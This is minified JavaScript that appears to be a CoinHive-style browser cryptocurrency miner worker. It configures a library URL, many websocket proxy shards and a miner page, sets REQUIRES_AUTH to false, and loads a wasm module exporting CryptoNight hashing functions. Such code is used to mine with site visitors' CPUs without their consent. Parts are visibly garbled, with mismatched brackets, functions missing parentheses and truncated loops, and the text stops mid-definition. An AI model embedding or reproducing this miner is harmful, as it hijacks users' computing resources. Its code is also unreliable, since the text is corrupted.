110,199,246,47,152,51,179,177,188,118,94,43,214,102,165,239,196,230,42,6,244,182,232,190,193,212,54,116,238,130,21,188,239,33,99,253,193,78,13,244,83,201,105,167,125,90,196,6,88,88,38,126,193,20,22,6,224,250,22,126,144,175,61,40,99,157,63,210,201,242,227,0,155,210,12,95,170,206,48,183,212,12,48,116,42,81,22,242,224,50,152,13,235,48,216,227,206,248,154,75,197,158,123,181,241,121,146,255,81,230,110,4,134,104,211,155,35,77,87,230,150,103,49,204,230,166,243,23,10,117,5,177,118,129,217,19,50,108,206,60,23,82,132,248,5,162,98,244,43,203,179,120,71,21,71,255,70,84,130,35,147,106,72,56,223,88,7,78,94,101,101,242,252,124,137,252,134,80,142,49,112,46,68,208,11,202,134,240,64,9,162,48,120,71,78,101,160,238,57,209,247,56,131,247,94,233,55,228,44,58,189,33,151,178,38,1,19,248,111,163,68,237,209,239,159,222,231,139,160,223,21,118,37,146,217,60,133,247,246,18,220,66,190,216,167,236,124,171,39,176,126,83,141,125,218,170,62,168,222,170,37,206,147,189,2,105,216,90,246,67,253,26,115,8,249,192,95,239,218,23,74,25,165,151,77,102,51,76,253,33,106,53,180,152,49,219,65,21,112,234,30,15,187,237,205,84,155,154,208,99,161,81,151,64,114,246,117,157,191,145,71,111,226,99,124,119,123,242,107,111,197,48,1,103,43,254,215,171,118,202,130,201,125,250,89,71,240,173,212,162,175,156,164,114,192,183,253,147,38,54,63,247,204,52,165,229,241,113,216,49,21,4,199,35,195,24,150,5,154,7,18,128,226,235,39,178,117,9,131,44,26,27,110,90,160,82,59,214,179,41,227,47,132,83,209,0,237,32,252,177,91,106,203,190,57,74,76,88,207,208,239,170,251,67,77,51,133,69,249,2,127,80,60,159,168,81,163,64,143,146,157,56,245,188,182,218,33,16,255,243,210,205,12,19,236,95,151,68,23,196,167,126,61,100,93,25,115,96,129,79,220,34,42,144,136,70,238,184,20,222,94,11,219,224,50,58,10,73,6,36,92,194,211,172,98,145,149,228,121,231,200,55,109,141,213,78,169,108,86,244,234,101,122,174,8,186,120,37,46,28,166,180,198,232,221,116,31,75,189,139,138,112,62,181,102,72,3,246,14,97,53,87,185,134,193,29,158,225,248,152,17,105,217,142,148,155,30,135,233,206,85,40,223,140,161,137,13,191,230,66,104,65,153,45,15,176,84,187,22,1,2,4,8,16,32,64,128,27,54] ; var Module=typeof Module!==\"undefined\"?Module:{};self.CH=self.CH||{};self.CH.CONFIG={LIB_URL:\"https:\/\/CH.com\/lib\/\",ASMJS_NAME:\"worker-asmjs.min.js\",REQUIRES_AUTH:false,WEBSOCKET_SHARDS:\"wss:\/\/ws001.CH.com\/proxy\",\"wss:\/\/ws002.CH.com\/proxy\",\"wss:\/\/ws003.CH.com\/proxy\",\"wss:\/\/ws004.CH.com\/proxy\",\"wss:\/\/ws005.CH.com\/proxy\",\"wss:\/\/ws006.CH.com\/proxy\",\"wss:\/\/ws007.CH.com\/proxy\"],[\"wss:\/\/ws008.CH.com\/proxy\",\"wss:\/\/ws009.CH.com\/proxy\",\"wss:\/\/ws010.CH.com\/proxy\",\"wss:\/\/ws011.CH.com\/proxy\",\"wss:\/\/ws012.CH.com\/proxy\",\"wss:\/\/ws013.CH.com\/proxy\",\"wss:\/\/ws014.CH.com\/proxy\"],[\"wss:\/\/ws015.CH.com\/proxy\",\"wss:\/\/ws016.CH.com\/proxy\",\"wss:\/\/ws017.CH.com\/proxy\",\"wss:\/\/ws018.CH.com\/proxy\",\"wss:\/\/ws019.CH.com\/proxy\",\"wss:\/\/ws020.CH.com\/proxy\",\"wss:\/\/ws021.CH.com\/proxy\"],[\"wss:\/\/ws022.CH.com\/proxy\",\"wss:\/\/ws023.CH.com\/proxy\",\"wss:\/\/ws024.CH.com\/proxy\",\"wss:\/\/ws025.CH.com\/proxy\",\"wss:\/\/ws026.CH.com\/proxy\",\"wss:\/\/ws027.CH.com\/proxy\",\"wss:\/\/ws028.CH.com\/proxy\",CAPTCHA_URL:\"https:\/\/CH.com\/captcha\/\",MINER_URL:\"https:\/\/CH.com\/media\/miner.html\",AUTH_URL:\"https:\/\/authedmine.com\/authenticate.html\"};var Module={locateFile:(function(path){return CH.CONFIG.LIB_URL+path}),wasmBinary:self.WASM_BINARY_INLINE||undefined};var moduleOverrides={};var key;for(key in Module){if(Module.hasOwnProperty(key)){moduleOverrides[key]=Module[key]}}Module[\"arguments\"]=[];Module[\"thisProgram\"]=\".\/this.program\";Module[\"quit\"]=(function(status,toThrow){throw toThrow});Module[\"preRun\"]=[];Module[\"postRun\"]=[];var ENVIRONMENT_IS_WEB=false;var ENVIRONMENT_IS_WORKER=false;var ENVIRONMENT_IS_NODE=false;var ENVIRONMENT_IS_SHELL=false;if(Module[\"ENVIRONMENT\"]){if(Module[\"ENVIRONMENT\"]===\"WEB\"){ENVIRONMENT_IS_WEB=true}else if(Module[\"ENVIRONMENT\"]===\"WORKER\"){ENVIRONMENT_IS_WORKER=true}else if(Module[\"ENVIRONMENT\"]===\"NODE\"){ENVIRONMENT_IS_NODE=true}else if(Module[\"ENVIRONMENT\"]===\"SHELL\"){ENVIRONMENT_IS_SHELL=true}else{throw new Error(\"Module['ENVIRONMENT'] value is not valid. must be one of: WEB|WORKER|NODE|SHELL.\")}}else{ENVIRONMENT_IS_WEB=typeof window===\"object\";ENVIRONMENT_IS_WORKER=typeof importScripts===\"function\";ENVIRONMENT_IS_NODE=typeof process===\"object\"&&typeof require===\"function\"&&!ENVIRONMENT_IS_WEB&&!ENVIRONMENT_IS_WORKER;ENVIRONMENT_IS_SHELL=!ENVIRONMENT_IS_WEB&&!ENVIRONMENT_IS_NODE&&!ENVIRONMENT_IS_WORKER}if(ENVIRONMENT_IS_NODE){var nodeFS;var nodePath;Module[\"read\"]=function shell_read(filename,binary){var ret;if(!nodeFS)nodeFS=require(\"fs\");if(!nodePath)nodePath=require(\"path\");filename=nodePath[\"normalize\"](filename);ret=nodeFS[\"readFileSync\"](filename);return binary?ret:ret.toString};Module[\"readBinary\"]=function readBinary(filename){var ret=Module[\"read\"](filename,true);if(!ret.buffer){ret=new Uint8Array(ret)}assert(ret.buffer);return ret};if(process[\"argv\"].length>1){Module[\"thisProgram\"]=process[\"argv\"][1].replace(\/\\\\\/g,\"\/\")}Module[\"arguments\"]=process[\"argv\"].slice(2);if(typeof module!==\"undefined\"){module[\"exports\"]=Module}process[\"on\"](\"uncaughtException\",(function(ex){if(!(ex instanceof ExitStatus)){throw ex}}));process[\"on\"](\"unhandledRejection\",(function(reason,p){process[\"exit\"](1)}));Module[\"inspect\"]=(function{return\"[Emscripten Module object]\"})}else if(ENVIRONMENT_IS_SHELL){if(typeof read!=\"undefined\"){Module[\"read\"]=function shell_read(f){return read(f)}}Module[\"readBinary\"]=function readBinary(f){var data;if(typeof readbuffer===\"function\"){return new Uint8Array(readbuffer(f))}data=read(f,\"binary\");assert(typeof data===\"object\");return data};if(typeof scriptArgs!=\"undefined\"){Module[\"arguments\"]=scriptArgs}else if(typeof arguments!=\"undefined\"){Module[\"arguments\"]=arguments}if(typeof quit===\"function\"){Module[\"quit\"]=(function(status,toThrow){quit(status)})}}else if(ENVIRONMENT_IS_WEB||ENVIRONMENT_IS_WORKER){Module[\"read\"]=function shell_read(url){var xhr=new XMLHttpRequest;xhr.open(\"GET\",url,false);xhr.send(null);return xhr.responseText};if(ENVIRONMENT_IS_WORKER){Module[\"readBinary\"]=function readBinary(url){var xhr=new XMLHttpRequest;xhr.open(\"GET\",url,false);xhr.responseType=\"arraybuffer\";xhr.send(null);return new Uint8Array(xhr.response)}}Module[\"readAsync\"]=function readAsync(url,onload,onerror){var xhr=new XMLHttpRequest;xhr.open(\"GET\",url,true);xhr.responseType=\"arraybuffer\";xhr.onload=function xhr_onload{if(xhr.status==200||xhr.status==0&&xhr.response){onload(xhr.response);return}onerror};xhr.onerror=onerror;xhr.send(null)};if(typeof arguments!=\"undefined\"){Module[\"arguments\"]=arguments}Module[\"setWindowTitle\"]=(function(title){document.title=title})}Module[\"print\"]=typeof console!==\"undefined\"?console.log.bind(console):typeof print!==\"undefined\"?print:null;Module[\"printErr\"]=typeof printErr!==\"undefined\"?printErr:typeof console!==\"undefined\"&&console.warn.bind(console)||Module[\"print\"];Module.print=Module[\"print\"];Module.printErr=Module[\"printErr\"];for(key in moduleOverrides){if(moduleOverrides.hasOwnProperty(key)){Module[key]=moduleOverrides[key]}}moduleOverrides=undefined;var STACK_ALIGN=16;function staticAlloc(size){assert(!staticSealed);var ret=STATICTOP;STATICTOP=STATICTOP+size+15&-16;return ret}function dynamicAlloc(size){assert(DYNAMICTOP_PTR);var ret=HEAP32[DYNAMICTOP_PTR>>2];var end=ret+size+15&-16;HEAP32[DYNAMICTOP_PTR>>2]=end;if(end>=TOTAL_MEMORY){var success=enlargeMemory;if(!success){HEAP32[DYNAMICTOP_PTR>>2]=ret;return 0}}return ret}function alignMemory(size,factor){if(!factor)factor=STACK_ALIGN;var ret=size=Math.ceil(size\/factor)*factor;return ret}function getNativeTypeSize(type){switch(type){case\"i1\":case\"i8\":return 1;case\"i16\":return 2;case\"i32\":return 4;case\"i64\":return 8;case\"float\":return 4;case\"double\":return 8;default:{if(type[type.length-1]===\"*\"){return 4}else if(type[0]===\"i\"){var bits=parseInt(type.substr(1));assert(bits%8===0);return bits\/8}else{return 0}}}}var functionPointers=new Array(0);var GLOBAL_BASE=1024;var ABORT=0;var EXITSTATUS=0;function assert(condition,text){if(!condition){abort(\"Assertion failed: \"+text)}}function setValue(ptr,value,type,noSafe){type=type||\"i8\";if(type.charAt(type.length-1)===\"*\")type=\"i32\";switch(type){case\"i1\":HEAP8[ptr>>0]=value;break;case\"i8\":HEAP8[ptr>>0]=value;break;case\"i16\":HEAP16[ptr>>1]=value;break;case\"i32\":HEAP32[ptr>>2]=value;break;case\"i64\":tempI64=[value>>>0,(tempDouble=value,+Math_abs(tempDouble)>=1?tempDouble>0?(Math_min(+Math_floor(tempDouble\/4294967296),4294967295)|0)>>>0:+Math_ceil((tempDouble- +(tempDouble>>>0))\/4294967296)>>>0:0)],HEAP32[ptr>>2]=tempI64[0],HEAP32[ptr+4>>2]=tempI64[1];break;case\"float\":HEAPF32[ptr>>2]=value;break;case\"double\":HEAPF64[ptr>>3]=value;break;default:abort(\"invalid type for setValue: \"+type)}}var ALLOC_STATIC=2;var ALLOC_NONE=4;function allocate(slab,types,allocator,ptr){var zeroinit,size;if(typeof slab===\"number\"){zeroinit=true;size=slab}else{zeroinit=false;size=slab.length}var singleType=typeof types===\"string\"?types:null;var ret;if(allocator==ALLOC_NONE){ret=ptr}else{ret=[typeof _malloc===\"function\"?_malloc:staticAlloc,stackAlloc,staticAlloc,dynamicAlloc][allocator===undefined?ALLOC_STATIC:allocator](Math.max(size,singleType?1:types.length))}if(zeroinit){var stop;ptr=ret;assert((ret&3)==0);stop=ret+(size&~3);for(ptr>2]=0}stop=ret+size;while(ptr>0]=0}return ret}if(singleType===\"i8\"){if(slab.subarray||slab.slice){HEAPU8.set(slab,ret)}else{HEAPU8.set(new Uint8Array(slab),ret)}return ret}var i=0,type,typeSize,previousType;while(i>0];hasUtf|=t;if(t==0&&!length)break;i++;if(length&&i==length)break}if(!length)length=i;var ret=\"\";if(hasUtf<128){var MAX_CHUNK=1024;var curr;while(length>0){curr=String.fromCharCode.apply(String,HEAPU8.subarray(ptr,ptr+Math.min(length,MAX_CHUNK)));ret=ret?ret+curr:curr;ptr+=MAX_CHUNK;length-=MAX_CHUNK}return ret}return UTF8ToString(ptr)}var UTF8Decoder=typeof TextDecoder!==\"undefined\"?new TextDecoder(\"utf8\"):undefined;function UTF8ArrayToString(u8Array,idx){var endPtr=idx;while(u8Array[endPtr])++endPtr;if(endPtr-idx>16&&u8Array.subarray&&UTF8Decoder){return UTF8Decoder.decode(u8Array.subarray(idx,endPtr))}else{var u0,u1,u2,u3,u4,u5;var str=\"\";while(1){u0=u8Array[idx++];if(!u0)return str;if(!(u0&128)){str+=String.fromCharCode(u0);continue}u1=u8Array[idx++]&63;if((u0&224)==192){str+=String.fromCharCode((u0&31)<<6|u1);continue}u2=u8Array[idx++]&63;if((u0&240)==224){u0=(u0&15)<<12|u1<<6|u2}else{u3=u8Array[idx++]&63;if((u0&248)==240){u0=(u0&7)<<18|u1<<12|u2<<6|u3}else{u4=u8Array[idx++]&63;if((u0&252)==248){u0=(u0&3)<<24|u1<<18|u2<<12|u3<<6|u4}else{u5=u8Array[idx++]&63;u0=(u0&1)<<30|u1<<24|u2<<18|u3<<12|u4<<6|u5}}}if(u0<65536){str+=String.fromCharCode(u0)}else{var ch=u0-65536;str+=String.fromCharCode(55296|ch>>10,56320|ch&1023)}}}}function UTF8ToString(ptr){return UTF8ArrayToString(HEAPU8,ptr)}function stringToUTF8Array(str,outU8Array,outIdx,maxBytesToWrite){if(!(maxBytesToWrite>0))return 0;var startIdx=outIdx;var endIdx=outIdx+maxBytesToWrite-1;for(var i=0;i=55296&&u<=57343)u=65536+((u&1023)<<10)|str.charCodeAt(++i)&1023;if(u<=127){if(outIdx>=endIdx)break;outU8Array[outIdx++]=u}else if(u<=2047){if(outIdx+1>=endIdx)break;outU8Array[outIdx++]=192|u>>6;outU8Array[outIdx++]=128|u&63}else if(u<=65535){if(outIdx+2>=endIdx)break;outU8Array[outIdx++]=224|u>>12;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else if(u<=2097151){if(outIdx+3>=endIdx)break;outU8Array[outIdx++]=240|u>>18;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else if(u<=67108863){if(outIdx+4>=endIdx)break;outU8Array[outIdx++]=248|u>>24;outU8Array[outIdx++]=128|u>>18&63;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else{if(outIdx+5>=endIdx)break;outU8Array[outIdx++]=252|u>>30;outU8Array[outIdx++]=128|u>>24&63;outU8Array[outIdx++]=128|u>>18&63;outU8Array[outIdx++]=128|u>>12&63;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}}outU8Array[outIdx]=0;return outIdx-startIdx}function lengthBytesUTF8(str){var len=0;for(var i=0;i=55296&&u<=57343)u=65536+((u&1023)<<10)|str.charCodeAt(++i)&1023;if(u<=127){++len}else if(u<=2047){len+=2}else if(u<=65535){len+=3}else if(u<=2097151){len+=4}else if(u<=67108863){len+=5}else{len+=6}}return len}var UTF16Decoder=typeof TextDecoder!==\"undefined\"?new TextDecoder(\"utf-16le\"):undefined;var WASM_PAGE_SIZE=65536;var ASMJS_PAGE_SIZE=16777216;function alignUp(x,multiple){if(x%multiple>0){x+=multiple-x%multiple}return x}var buffer,HEAP8,HEAPU8,HEAP16,HEAPU16,HEAP32,HEAPU32,HEAPF32,HEAPF64;function updateGlobalBuffer(buf){Module[\"buffer\"]=buffer=buf}function updateGlobalBufferViews{Module[\"HEAP8\"]=HEAP8=new Int8Array(buffer);Module[\"HEAP16\"]=HEAP16=new Int16Array(buffer);Module[\"HEAP32\"]=HEAP32=new Int32Array(buffer);Module[\"HEAPU8\"]=HEAPU8=new Uint8Array(buffer);Module[\"HEAPU16\"]=HEAPU16=new Uint16Array(buffer);Module[\"HEAPU32\"]=HEAPU32=new Uint32Array(buffer);Module[\"HEAPF32\"]=HEAPF32=new Float32Array(buffer);Module[\"HEAPF64\"]=HEAPF64=new Float64Array(buffer)}var STATIC_BASE,STATICTOP,staticSealed;var STACK_BASE,STACKTOP,STACK_MAX;var DYNAMIC_BASE,DYNAMICTOP_PTR;STATIC_BASE=STATICTOP=STACK_BASE=STACKTOP=STACK_MAX=DYNAMIC_BASE=DYNAMICTOP_PTR=0;staticSealed=false;function abortOnCannotGrowMemory{abort(\"Cannot enlarge memory arrays. Either (1) compile with -s TOTAL_MEMORY=X with X higher than the current value \"+TOTAL_MEMORY+\", (2) compile with -s ALLOW_MEMORY_GROWTH=1 which allows increasing the size at runtime, or (3) if you want malloc to return NULL (0) instead of this abort, compile with -s ABORTING_MALLOC=0 \")}function enlargeMemory{abortOnCannotGrowMemory}var TOTAL_STACK=Module[\"TOTAL_STACK\"]||5242880;var TOTAL_MEMORY=Module[\"TOTAL_MEMORY\"]||16777216;if(TOTAL_MEMORY<TOTAL_STACK)Module.printErr(\"TOTAL_MEMORY should be larger than TOTAL_STACK, was \"+TOTAL_MEMORY+\"! (TOTAL_STACK=\"+TOTAL_STACK+\")\");if(Module[\"buffer\"]){buffer=Module[\"buffer\"]}else{if(typeof WebAssembly===\"object\"&&typeof WebAssembly.Memory===\"function\"){Module[\"wasmMemory\"]=new WebAssembly.Memory({\"initial\":TOTAL_MEMORY\/WASM_PAGE_SIZE,\"maximum\":TOTAL_MEMORY\/WASM_PAGE_SIZE});buffer=Module[\"wasmMemory\"].buffer}else{buffer=new ArrayBuffer(TOTAL_MEMORY)}Module[\"buffer\"]=buffer}updateGlobalBufferViews;function getTotalMemory{return TOTAL_MEMORY}HEAP32[0]=1668509029;HEAP16[1]=25459;if(HEAPU8[2]!==115||HEAPU8[3]!==99)throw\"Runtime error: expected the system to be little-endian!\";function callRuntimeCallbacks(callbacks){while(callbacks.length>0){var callback=callbacks.shift;if(typeof callback==\"function\"){callback;continue}var func=callback.func;if(typeof func===\"number\"){if(callback.arg===undefined){Module[\"dynCall_v\"](func)}else{Module[\"dynCall_vi\"](func,callback.arg)}}else{func(callback.arg===undefined?null:callback.arg)}}}var __ATPRERUN__=[];var __ATINIT__=[];var __ATMAIN__=[];var __ATEXIT__=[];var __ATPOSTRUN__=[];var runtimeInitialized=false;var runtimeExited=false;function preRun{if(Module[\"preRun\"]){if(typeof Module[\"preRun\"]==\"function\")Module[\"preRun\"]=[Module[\"preRun\"]];while(Module[\"preRun\"].length){addOnPreRun(Module[\"preRun\"].shift)}}callRuntimeCallbacks(__ATPRERUN__)}function ensureInitRuntime{if(runtimeInitialized)return;runtimeInitialized=true;callRuntimeCallbacks(__ATINIT__)}function preMain{callRuntimeCallbacks(__ATMAIN__)}function exitRuntime{callRuntimeCallbacks(__ATEXIT__);runtimeExited=true}function postRun{if(Module[\"postRun\"]){if(typeof Module[\"postRun\"]==\"function\")Module[\"postRun\"]=[Module[\"postRun\"]];while(Module[\"postRun\"].length){addOnPostRun(Module[\"postRun\"].shift)}}callRuntimeCallbacks(__ATPOSTRUN__)}function addOnPreRun(cb){__ATPRERUN__.unshift(cb)}function addOnPostRun(cb){__ATPOSTRUN__.unshift(cb)}var Math_abs=Math.abs;var Math_cos=Math.cos;var Math_sin=Math.sin;var Math_tan=Math.tan;var Math_acos=Math.acos;var Math_asin=Math.asin;var Math_atan=Math.atan;var Math_atan2=Math.atan2;var Math_exp=Math.exp;var Math_log=Math.log;var Math_sqrt=Math.sqrt;var Math_ceil=Math.ceil;var Math_floor=Math.floor;var Math_pow=Math.pow;var Math_imul=Math.imul;var Math_fround=Math.fround;var Math_round=Math.round;var Math_min=Math.min;var Math_max=Math.max;var Math_clz32=Math.clz32;var Math_trunc=Math.trunc;var runDependencies=0;var runDependencyWatcher=null;var dependenciesFulfilled=null;function addRunDependency(id){runDependencies++;if(Module[\"monitorRunDependencies\"]){Module[\"monitorRunDependencies\"](runDependencies)}}function removeRunDependency(id){runDependencies--;if(Module[\"monitorRunDependencies\"]){Module[\"monitorRunDependencies\"](runDependencies)}if(runDependencies==0){if(runDependencyWatcher!==null){clearInterval(runDependencyWatcher);runDependencyWatcher=null}if(dependenciesFulfilled){var callback=dependenciesFulfilled;dependenciesFulfilled=null;callback}}}Module[\"preloadedImages\"]={};Module[\"preloadedAudios\"]={};var dataURIPrefix=\"data:application\/octet-stream;base64,\";function isDataURI(filename){return String.prototype.startsWith?filename.startsWith(dataURIPrefix):filename.indexOf(dataURIPrefix)===0}function integrateWasmJS{var wasmTextFile=\"worker.wast\";var wasmBinaryFile=\"worker.wasm\";var asmjsCodeFile=\"worker.temp.asm.js\";if(typeof Module[\"locateFile\"]===\"function\"){if(!isDataURI(wasmTextFile)){wasmTextFile=Module[\"locateFile\"](wasmTextFile)}if(!isDataURI(wasmBinaryFile)){wasmBinaryFile=Module[\"locateFile\"](wasmBinaryFile)}if(!isDataURI(asmjsCodeFile)){asmjsCodeFile=Module[\"locateFile\"](asmjsCodeFile)}}var wasmPageSize=64*1024;var info={\"global\":null,\"env\":null,\"asm2wasm\":{\"f64-rem\":(function(x,y){return x%y}),\"debugger\":(function{debugger})},\"parent\":Module};var exports=null;function mergeMemory(newBuffer){var oldBuffer=Module[\"buffer\"];if(newBuffer.byteLength<oldBuffer.byteLength){Module[\"printErr\"](\"the new buffer in mergeMemory is smaller than the previous one. in native wasm, we should grow memory here\")}var oldView=new Int8Array(oldBuffer);var newView=new Int8Array(newBuffer);newView.set(oldView);updateGlobalBuffer(newBuffer);updateGlobalBufferViews}function fixImports(imports){return imports}function getBinary{try{if(Module[\"wasmBinary\"]){return new Uint8Array(Module[\"wasmBinary\"])}if(Module[\"readBinary\"]){return Module[\"readBinary\"](wasmBinaryFile)}else{throw\"on the web, we need the wasm binary to be preloaded and set on Module['wasmBinary']. emcc.py will do that for you when generating HTML (but not JS)\"}}catch(err){abort(err)}}function getBinaryPromise{if(!Module[\"wasmBinary\"]&&(ENVIRONMENT_IS_WEB||ENVIRONMENT_IS_WORKER)&&typeof fetch===\"function\"){return fetch(wasmBinaryFile,{credentials:\"same-origin\"}).then((function(response){if(!response[\"ok\"]){throw\"failed to load wasm binary file at '\"+wasmBinaryFile+\"'\"}return response[\"arrayBuffer\"]})).catch((function{return getBinary}))}return new Promise((function(resolve,reject){resolve(getBinary)}))}function doNativeWasm(global,env,providedBuffer){if(typeof WebAssembly!==\"object\"){Module[\"printErr\"](\"no native wasm support detected\");return false}if(!(Module[\"wasmMemory\"]instanceof WebAssembly.Memory)){Module[\"printErr\"](\"no native wasm Memory in use\");return false}env[\"memory\"]=Module[\"wasmMemory\"];info[\"global\"]={\"NaN\":NaN,\"Infinity\":Infinity};info[\"global.Math\"]=Math;info[\"env\"]=env;function receiveInstance(instance,module){exports=instance.exports;if(exports.memory)mergeMemory(exports.memory);Module[\"asm\"]=exports;Module[\"usingWasm\"]=true;removeRunDependency(\"wasm-instantiate\")}addRunDependency(\"wasm-instantiate\");if(Module[\"instantiateWasm\"]){try{return Module[\"instantiateWasm\"](info,receiveInstance)}catch(e){Module[\"printErr\"](\"Module.instantiateWasm callback failed with error: \"+e);return false}}function receiveInstantiatedSource(output){receiveInstance(output[\"instance\"],output[\"module\"])}function instantiateArrayBuffer(receiver){getBinaryPromise.then((function(binary){return WebAssembly.instantiate(binary,info)})).then(receiver).catch((function(reason){Module[\"printErr\"](\"failed to asynchronously prepare wasm: \"+reason);abort(reason)}))}if(!Module[\"wasmBinary\"]&&typeof WebAssembly.instantiateStreaming===\"function\"&&!isDataURI(wasmBinaryFile)&&typeof fetch===\"function\"){WebAssembly.instantiateStreaming(fetch(wasmBinaryFile,{credentials:\"same-origin\"}),info).then(receiveInstantiatedSource).catch((function(reason){Module[\"printErr\"](\"wasm streaming compile failed: \"+reason);Module[\"printErr\"](\"falling back to ArrayBuffer instantiation\");instantiateArrayBuffer(receiveInstantiatedSource)}))}else{instantiateArrayBuffer(receiveInstantiatedSource)}return{}}Module[\"asmPreload\"]=Module[\"asm\"];var asmjsReallocBuffer=Module[\"reallocBuffer\"];var wasmReallocBuffer=(function(size){var PAGE_MULTIPLE=Module[\"usingWasm\"]?WASM_PAGE_SIZE:ASMJS_PAGE_SIZE;size=alignUp(size,PAGE_MULTIPLE);var old=Module[\"buffer\"];var oldSize=old.byteLength;if(Module[\"usingWasm\"]){try{var result=Module[\"wasmMemory\"].grow((size-oldSize)\/wasmPageSize);if(result!==(-1|0)){return Module[\"buffer\"]=Module[\"wasmMemory\"].buffer}else{return null}}catch(e){return null}}});Module[\"reallocBuffer\"]=(function(size){if(finalMethod===\"asmjs\"){return asmjsReallocBuffer(size)}else{return wasmReallocBuffer(size)}});var finalMethod=\"\";Module[\"asm\"]=(function(global,env,providedBuffer){env=fixImports(env);if(!env[\"table\"]){var TABLE_SIZE=Module[\"wasmTableSize\"];if(TABLE_SIZE===undefined)TABLE_SIZE=1024;var MAX_TABLE_SIZE=Module[\"wasmMaxTableSize\"];if(typeof WebAssembly===\"object\"&&typeof WebAssembly.Table===\"function\"){if(MAX_TABLE_SIZE!==undefined){env[\"table\"]=new WebAssembly.Table({\"initial\":TABLE_SIZE,\"maximum\":MAX_TABLE_SIZE,\"element\":\"anyfunc\"})}else{env[\"table\"]=new WebAssembly.Table({\"initial\":TABLE_SIZE,element:\"anyfunc\"})}}else{env[\"table\"]=new Array(TABLE_SIZE)}Module[\"wasmTable\"]=env[\"table\"]}if(!env[\"memoryBase\"]){env[\"memoryBase\"]=Module[\"STATIC_BASE\"]}if(!env[\"tableBase\"]){env[\"tableBase\"]=0}var exports;exports=doNativeWasm(global,env,providedBuffer);if(!exports)abort(\"no binaryen method succeeded. consider enabling more options, like interpreting, if you want that: https:\/\/github.com\/kripken\/emscripten\/wiki\/WebAssembly#binaryen-methods\");return exports})}integrateWasmJS;STATIC_BASE=GLOBAL_BASE;STATICTOP=STATIC_BASE+10240;__ATINIT__.push;var STATIC_BUMP=10240;Module[\"STATIC_BASE\"]=STATIC_BASE;Module[\"STATIC_BUMP\"]=STATIC_BUMP;STATICTOP+=16;var PROCINFO={ppid:1,pid:42,sid:42,pgid:42};var SYSCALLS={varargs:0,get:(function(varargs){SYSCALLS.varargs+=4;var ret=HEAP32[SYSCALLS.varargs-4>>2];return ret}),getStr:(function{var ret=Pointer_stringify(SYSCALLS.get);return ret}),get64:(function{var low=SYSCALLS.get,high=SYSCALLS.get;if(low>=0)assert(high===0);else assert(high===-1);return low}),getZero:(function{assert(SYSCALLS.get===0)})};function ___syscall20(which,varargs){SYSCALLS.varargs=varargs;try{return PROCINFO.pid}catch(e){if(typeof FS===\"undefined\"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function _ftime(p){var millis=Date.now;HEAP32[p>>2]=millis\/1e3|0;HEAP16[p+4>>1]=millis%1e3;HEAP16[p+6>>1]=0;HEAP16[p+8>>1]=0;return 0}var ___tm_current=STATICTOP;STATICTOP+=48;var ___tm_timezone=allocate(intArrayFromString(\"GMT\"),\"i8\",ALLOC_STATIC);function _gmtime_r(time,tmPtr){var date=new Date(HEAP32[time>>2]*1e3);HEAP32[tmPtr>>2]=date.getUTCSeconds;HEAP32[tmPtr+4>>2]=date.getUTCMinutes;HEAP32[tmPtr+8>>2]=date.getUTCHours;HEAP32[tmPtr+12>>2]=date.getUTCDate;HEAP32[tmPtr+16>>2]=date.getUTCMonth;HEAP32[tmPtr+20>>2]=date.getUTCFullYear-1900;HEAP32[tmPtr+24>>2]=date.getUTCDay;HEAP32[tmPtr+36>>2]=0;HEAP32[tmPtr+32>>2]=0;var start=Date.UTC(date.getUTCFullYear,0,1,0,0,0,0);var yday=(date.getTime-start)\/(1e3*60*60*24)|0;HEAP32[tmPtr+28>>2]=yday;HEAP32[tmPtr+40>>2]=___tm_timezone;return tmPtr}function _gmtime(time){return _gmtime_r(time,___tm_current)}function _emscripten_memcpy_big(dest,src,num){HEAPU8.set(HEAPU8.subarray(src,src+num),dest);return dest}function ___setErrNo(value){if(Module[\"___errno_location\"])HEAP32[Module[\"___errno_location\"]>>2]=value;return value}DYNAMICTOP_PTR=staticAlloc(4);STACK_BASE=STACKTOP=alignMemory(STATICTOP);STACK_MAX=STACK_BASE+TOTAL_STACK;DYNAMIC_BASE=alignMemory(STACK_MAX);HEAP32[DYNAMICTOP_PTR>>2]=DYNAMIC_BASE;staticSealed=true;function intArrayFromString(stringy,dontAddNull,length){var len=length>0?length:lengthBytesUTF8(stringy)+1;var u8array=new Array(len);var numBytesWritten=stringToUTF8Array(stringy,u8array,0,u8array.length);if(dontAddNull)u8array.length=numBytesWritten;return u8array}Module[\"wasmTableSize\"]=8;Module[\"wasmMaxTableSize\"]=8;Module.asmGlobalArg={};Module.asmLibraryArg={\"abort\":abort,\"enlargeMemory\":enlargeMemory,\"getTotalMemory\":getTotalMemory,\"abortOnCannotGrowMemory\":abortOnCannotGrowMemory,\"___setErrNo\":___setErrNo,\"___syscall20\":___syscall20,\"_emscripten_memcpy_big\":_emscripten_memcpy_big,\"_ftime\":_ftime,\"_gmtime\":_gmtime,\"DYNAMICTOP_PTR\":DYNAMICTOP_PTR,\"STACKTOP\":STACKTOP};var asm=Module[\"asm\"](Module.asmGlobalArg,Module.asmLibraryArg,buffer);Module[\"asm\"]=asm;var _cryptonight_create=Module[\"_cryptonight_create\"]=(function{return Module[\"asm\"][\"_cryptonight_create\"].apply(null,arguments)});var _cryptonight_destroy=Module[\"_cryptonight_destroy\"]=(function{return Module[\"asm\"][\"_cryptonight_destroy\"].apply(null,arguments)});var _cryptonight_hash=Module[\"_cryptonight_hash\"]=(function{return Module[\"asm\"][\"_cryptonight_hash\"].apply(null,arguments)});var _malloc=Module[\"_malloc\"]=(function{return Module[\"asm\"][\"_malloc\"].apply(null,arguments)});var stackAlloc=Module[\"stackAlloc\"]=(function{return Module[\"asm\"][\"stackAlloc\"].apply(null,arguments)});Module[\"asm\"]=asm;function ExitStatus(status){this.name=\"ExitStatus\";this.message=\"Program terminated with exit(\"+status+\")\";this.status=status}ExitStatus.prototype=new Error;ExitStatus.prototype.constructor=ExitStatus;var initialStackTop;dependenciesFulfilled=function runCaller{if(!Module[\"calledRun\"])run;if(!Module[\"calledRun\"])dependenciesFulfilled=runCaller};function 